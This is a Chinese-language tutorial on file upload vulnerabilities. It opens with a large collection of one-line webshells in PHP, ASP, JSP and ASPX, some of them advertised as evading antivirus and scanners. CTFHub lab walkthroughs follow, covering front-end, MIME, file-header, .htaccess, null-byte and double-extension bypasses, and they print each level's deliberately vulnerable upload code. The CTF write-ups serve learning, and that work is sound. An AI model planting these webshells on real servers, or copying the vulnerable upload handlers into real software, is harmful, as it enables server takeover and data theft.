文件上传漏洞
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
webshell
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录
一句话木马大全
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| <?php @eval($_POST['r00ts']);?> <?php phpinfo();?> <?php @eval($_POST[cmd]);?> <?php @eval($_REQUEST[cmd]);?> <?php assert($_REQUEST[cmd]); ?> <?php <?php
$func =create_function('',$_REQUEST['cmd']); $func(); ?>
<?php
$func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array);
?>
<?php
@call_user_func(assert,$_GET['cmd']); ?>
<?php
$cmd=$_GET['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); ?>
<?php
$cmd=$_GET['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); ?>
<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用 <?php usort(...$_GET);?> php环境>=5.6才能用 <?php eval($_POST1);?> <?php if(isset($_POST['c'])){eval($_POST['c']);}?> <?php system($_REQUEST1);?> <?php ($_=@$_GET1).@$_($_POST1)?> <?php eval_r($_POST1)?> <?php @eval_r($_POST1)?> <?php assert($_POST1);?> <?$_POST['c']($_POST['cc']);?> <?$_POST['c']($_POST['cc'],$_POST['cc'])?> <?php @preg_replace("/[email]/e",$_POST['h'],"error");?>:<O>h=@eval_r($_POST1);</O> <?php echo `$_GET['r']` ?>
<script language="php">@eval_r($_POST[sb])</script>
<?php (])?> 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!
<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!
<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%> 无防下载表,有防下载表可尝试插入以下语句突破的一句话
<%eval(request(“1″)):response.end%> 备份专用
##JSP: <%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 提交客户端 <form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
##ASP <%eval(Request.Item["r00ts"],”unsafe”);%>
<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>
<%execute(request(“1″))%>
<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script>
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>
<%eval request(chr(35))%> 不用双引号的一句话。
|
产生文件上传漏洞的原因
原因:
对于上传文件的后缀名(扩展名)没有做较为严格的限制
对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
对于web server对于上传文件或者指定目录的行为没有做限制
原理:
在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上
文件上传后导致的常见安全问题一般有:
上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代
码执行;
上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其
他通过类似方式控制策略文件的情况类似);
上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行:
上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执
行,被用于钓鱼和欺诈。
除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传-一个合法的文本文件, 其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)”执行此脚本;等等。此类问题不在此细述。
文件上传漏洞题目类型
1.前端校验
2.后端校验 配置文件介绍
3.后端内容校验 中括号 符号绕过
4.后端内容校验 强限制 日志文件包含利用
5.文件头检测
6.PNG图片二次渲染
7.zip文件包含
8. .htaccess解析
9.高级免杀 包含日志
题目复现 ctfhub 无验证
打开题目上传文件
出现回显
我们去访问看看
(注意后缀名.php)
我们用蚁剑来连接
我们打开访问文件
找到flag
建议看看index.php来了解题目原理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php
error_reporting(0);
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); }
if (!empty($_POST['submit'])) { if (!$_FILES['file']['size']) { echo "<script>alert('请添加上传文件')</script>"; } else { $name = basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CTFHub 文件上传 - 无限制</title> </head> <body> <h1>CTFHub 文件上传 - 无限制</h1> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </form> </body> </html>
|
学到了,学到了,兄弟们。
题目复现 ctfhub 前端验证
打开题目上传图片文件,因为过滤了.php文件
抓包改后缀名
这样之后在放包
修改成功!!
我们继续用蚁剑来看看
最后打开找到flag
我们看源码理解题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php header("Content-type: text/html;charset=utf-8"); error_reporting(0);
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } if (!empty($_POST['submit'])) { if (!$_FILES['file']['size']) { echo "<script>alert('请添加上传文件')</script>"; } else { $name = basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CTFHub 文件上传 - js前端验证</title> </head> <body> <h1>CTFHub 文件上传 - js前端验证</h1> <form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> <script> function checkfilesuffix() { var file=document.getElementsByName('file')[0]['value']; if(file==""||file==null) { alert("请添加上传文件"); return false; } else { var whitelist=new Array(".jpg",".png",".gif"); var file_suffix=file.substring(file.lastIndexOf(".")); if(whitelist.indexOf(file_suffix) == -1) { alert("该文件不允许上传"); return false; } } } </script> </body> </html>
|
题目复现 ctfhub .htaccess
打开题目上传.htaccess 文件内容如下
直接上传PHP文件无法上传,题目提示.htaccess文件
1 2
| #将txt文件解析为PHP文件执行 AddType application/x-httpd-php .txt
|
将该文件更改.htaccess,上传
这样便可以了我们上传
再新建一个shell.txt,写入PHP代码
1 2 3 4 5
| <?php echo "PHP Loaded"; eval(@$_POST['a']); ?>
|
我们蚁剑访问
找到flag
最后我们看看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php header("Content-type: text/html;charset=utf-8"); error_reporting(0);
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $ext = pathinfo($name)['extension']; $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf"); if (!in_array($ext, $blacklist)) { if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } else { echo "<script>alert('文件类型不匹配')</script>"; }
} ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CTFHub 文件上传 - htaccess</title> </head> <body> <h1>CTFHub 文件上传 - htaccess</h1> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html> <!-- if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $ext = pathinfo($name)['extension']; $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf"); if (!in_array($ext, $blacklist)) { if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } else { echo "<script>alert('文件类型不匹配')</script>"; } } -->
|
题目复现 ctfhub MIME绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。
它是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。
常见的MME类型,例如:
超文本标记语言文本 .html,html text/htm
普通文本 .txt text/plain
RTF文本. rtf application/rtf
GIF图形 .gif image/gif
JPEG图形 . jpg image/jpeg
|
所以我们要上传木马文件
1 2 3 4
| <?php echo "PHP Loaded"; eval(@$_POST['a']); ?>
|
然后抓包更改选中部分
更改为image/jpeg (其他类型也可以但是我通常用这个)
放包然后出现回显
我们访问路径../upload/phpinfo.php
在蚁剑里
然后找flag
我们研究下源码(index.php)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php header("Content-type: text/html;charset=utf-8"); error_reporting(0);
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } if (!empty($_POST['submit'])) { if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) { echo "<script>alert('文件类型不正确')</script>"; } else { $name = basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CTFHub 文件上传 - MIME验证</title> </head> <body> <h1>CTFHub 文件上传 - MIME验证</h1> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
|
看了源码就理解了,对题目理解就更充分了。
题目复现 ctfhub 文件头检查
打开题目
这里有两种方法
第一种是在木马文件加一个GIF89a
如:
1 2 3 4 5
| GIF89a <?php phpinfo(); eval(@$_POST['a']); ?>
|
然后保存文件后缀名为.php
上传文件,并用bp抓包
修改Content-Type为image/gif
修改成功后放包
上传成功出现回显我们访问看看
出现回显
我们蚁剑访问
找到flag
我们看看index.php 源码理解理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php header("Content-type: text/html;charset=utf-8"); error_reporting(0);
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); }
if (!empty($_POST['submit'])) { if (!$_FILES['file']['size']) { echo "<script>alert('请添加上传文件')</script>"; } else { $file = fopen($_FILES['file']['tmp_name'], "rb"); $bin = fread($file, 4); fclose($file); if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/jpg", "image/png", "image/gif"])) { echo "<script>alert('文件类型不正确, 只允许上传 jpeg jpg png gif 类型的文件')</script>"; } else if (!in_array(bin2hex($bin), ["89504E47", "FFD8FFE0", "47494638"])) { echo "<script>alert('文件错误')</script>"; } else { $name = basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CTFHub 文件上传 - 文件头检测</title> </head> <body> <h1>CTFHub 文件上传 - 文件头检测</h1> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </form> </body>
</html>
|
还有一种方法是在图片中的代码中插入一段一句话木马,具体看文件上传————ctfhub之文件头检查_ctfhub文件头-CSDN博客。
题目复现 ctfhub 00截断
1 2 3 4 5 6 7 8
| 截断原理:%00,0x00,/00都属于00截断,利用的是服务器的解析漏洞(ascii中0表示字符串结束),所以读取字符串到00就会停止,认为已经结束。
使用%00截断有两个条件
- php版本小于5.3.4 - magic_quotes_gpc为off状态
|
打开题目准备文件
文件内容如下:
1 2 3 4 5
| GIF89a <?php echo "PHP Loaded"; eval(@$_POST['a']); ?>
|
上传并抓包得到
更改达到00截断
选中区域便是更改好的
放包,看回显
蚁剑连接去
找到flag
之后我们看看源码 index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| <?php header("Content-type: text/html;charset=utf-8"); error_reporting(0);
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); }
if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $info = pathinfo($name); $ext = $info['extension']; $whitelist = array("jpg", "png", "gif"); if (in_array($ext, $whitelist)) { $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) { echo "<script>alert('上传成功')</script>"; } else { echo "<script>alert('上传失败')</script>"; } } else { echo "文件类型不匹配"; } }
?> <!DOCTYPE html> <html>
<head> <meta charset="UTF-8"> <title>CTFHub 文件上传 - 00截断</title> </head>
<body> <h1>CTFHub 文件上传 - 00截断</h1> <form action=<?php echo "?road=" . UPLOAD_PATH; ?> method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> <!-- if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $info = pathinfo($name); $ext = $info['extension']; $whitelist = array("jpg", "png", "gif"); if (in_array($ext, $whitelist)) { $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) { echo "<script>alert('上传成功')</script>"; } else { echo "<script>alert('上传失败')</script>"; } } else { echo "文件类型不匹配"; } } --> </body>
</html>
|
还得继续学啊,xdm
题目复现 ctfhub 双写后缀
打开题目并准备所需文件
文件内容如下
1 2 3 4 5
| GIF89a <?php echo "PHP Loaded"; eval(@$_POST['a']); ?>
|
上传访问
出现回显
上传成功访问看看
之后我们用蚁剑来连接
找到flag
我们看看源码index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php header("Content-type: text/html;charset=utf-8"); error_reporting(0);
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); }
if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini"); $name = str_ireplace($blacklist, "", $name);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } }
?> <!DOCTYPE html> <html>
<head> <meta charset="UTF-8"> <title>CTFHub 文件上传——双写绕过</title> </head>
<body> <h1>CTFHub 文件上传——双写绕过</h1> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> <p></p> </body>
</html>
<!-- $name = basename($_FILES['file']['name']); $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini"); $name = str_ireplace($blacklist, "", $name); -->
|
又学到啦,家人们。
upload1
打开靶机进入题目
如图我们上传之后发现.jpg,.php,等等图片和网页相关的文件扩展名被过滤了
因此我们要利用.htaccess文件来传输
这是我们创建好的
里面内容是
SetHandler application/x-httpd-php
即可我们利用命令来控制上传
那我们现在开始上传
上传成功
如何我们随便上传一个文件利用bp来改变后缀名达到通过访问
这是我们在bp中拦截到的
我们发送到重放器(Repeater)并修改内容
我们将内容剪切到代理选项里并返回包
之后我们访问文件
之后去蚁剑连接网站
添加并双击访问如下图
打开之后在根目录找到flag